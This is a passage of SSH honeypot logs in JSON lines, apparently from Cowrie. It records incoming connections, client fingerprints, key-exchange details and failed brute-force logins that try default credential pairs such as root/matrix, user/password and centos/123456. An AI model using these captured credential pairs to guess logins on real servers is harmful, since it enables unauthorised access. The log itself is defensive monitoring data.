enssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:13.247035Z","src_ip":"160.251.185.39","session":"2f761efe04ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"matrix","message":"login attempt [root/matrix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:13.992109Z","src_ip":"160.251.185.39","session":"2f761efe04ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.156.122","src_port":28066,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e7f46529b45","protocol":"ssh","message":"New connection: 64.62.156.122:28066 (10.17.0.5:22) [session: 0e7f46529b45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:14.320800Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\\x81\\xbb\\x9dr4\\xd0,\\x9c#\\xb2(,\\xb3\u0226y3\\x82DLo9S\u0518=\\xffA\\xad?\\xf4\\xe0\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\\x81\\xbb\\x9dr4\\xd0,\\x9c#\\xb2(,\\xb3\u0226y3\\x82DLo9S\u0518=\\xffA\\xad?\\xf4\\xe0\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:14.326998Z","src_ip":"64.62.156.122","session":"0e7f46529b45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:14.331465Z","src_ip":"64.62.156.122","session":"0e7f46529b45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:15.171696Z","src_ip":"160.251.185.39","session":"2f761efe04ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":55006,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9afa4c6bc45","protocol":"ssh","message":"New connection: 83.168.110.85:55006 (159.203.135.109:22) [session: f9afa4c6bc45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:16.521322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:16.525382Z","src_ip":"83.168.110.85","session":"f9afa4c6bc45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:16.646098Z","src_ip":"83.168.110.85","session":"f9afa4c6bc45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:17.015901Z","src_ip":"83.168.110.85","session":"f9afa4c6bc45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:18.191040Z","src_ip":"83.168.110.85","session":"f9afa4c6bc45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.99","src_port":58568,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4b476f99499","protocol":"ssh","message":"New connection: 152.32.171.99:58568 (159.203.135.109:22) [session: f4b476f99499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:24.130086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:24.134978Z","src_ip":"152.32.171.99","session":"f4b476f99499","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:24.355082Z","src_ip":"152.32.171.99","session":"f4b476f99499","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"21vianet","message":"login attempt [root/21vianet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:25.268221Z","src_ip":"152.32.171.99","session":"f4b476f99499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:26.491492Z","src_ip":"152.32.171.99","session":"f4b476f99499","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":44186,"dst_ip":"159.203.135.109","dst_port":22,"session":"9125950f8356","protocol":"ssh","message":"New connection: 83.168.110.85:44186 (159.203.135.109:22) [session: 9125950f8356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:26.550381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:26.577794Z","src_ip":"83.168.110.85","session":"9125950f8356","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:26.673932Z","src_ip":"83.168.110.85","session":"9125950f8356","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:27.145724Z","src_ip":"83.168.110.85","session":"9125950f8356","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:28.441288Z","src_ip":"83.168.110.85","session":"9125950f8356","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":35460,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7de122478b4","protocol":"ssh","message":"New connection: 83.168.110.85:35460 (159.203.135.109:22) [session: a7de122478b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:36.860880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:36.931354Z","src_ip":"83.168.110.85","session":"a7de122478b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:36.997278Z","src_ip":"83.168.110.85","session":"a7de122478b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user3","message":"login attempt [user3/user3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:37.455877Z","src_ip":"83.168.110.85","session":"a7de122478b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:38.655912Z","src_ip":"83.168.110.85","session":"a7de122478b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":40100,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbd814c24f37","protocol":"ssh","message":"New connection: 83.168.110.85:40100 (159.203.135.109:22) [session: cbd814c24f37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:47.272220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:47.277144Z","src_ip":"83.168.110.85","session":"cbd814c24f37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:47.398422Z","src_ip":"83.168.110.85","session":"cbd814c24f37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"123456","message":"login attempt [centos/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:47.761600Z","src_ip":"83.168.110.85","session":"cbd814c24f37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:48.948900Z","src_ip":"83.168.110.85","session":"cbd814c24f37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":50318,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a162889bf58","protocol":"ssh","message":"New connection: 83.168.110.85:50318 (159.203.135.109:22) [session: 7a162889bf58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:57.691836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:57.698050Z","src_ip":"83.168.110.85","session":"7a162889bf58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:57.813676Z","src_ip":"83.168.110.85","session":"7a162889bf58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:58.288454Z","src_ip":"83.168.110.85","session":"7a162889bf58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:59.412099Z","src_ip":"83.168.110.85","session":"7a162889bf58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":60088,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c96cdfee5fe","protocol":"ssh","message":"New connection: 103.118.29.129:60088 (159.203.135.109:22) [session: 8c96cdfee5fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:05.939633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:05.945103Z","src_ip":"103.118.29.129","session":"8c96cdfee5fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:06.191272Z","src_ip":"103.118.29.129","session":"8c96cdfee5fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin","message":"login attempt [root/Admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:07.186267Z","src_ip":"103.118.29.129","session":"8c96cdfee5fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":60812,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6ae8db62576","protocol":"ssh","message":"New connection: 83.168.110.85:60812 (159.203.135.109:22) [session: a6ae8db62576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:08.316024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:08.321769Z","src_ip":"83.168.110.85","session":"a6ae8db62576","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:08.432905Z","src_ip":"103.118.29.129","session":"8c96cdfee5fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 